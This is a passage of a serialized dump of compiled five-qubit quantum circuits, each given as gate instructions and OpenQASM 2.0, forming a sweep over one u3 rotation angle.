[]}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1267', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1269', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1271', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [4.3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['4.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1273', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 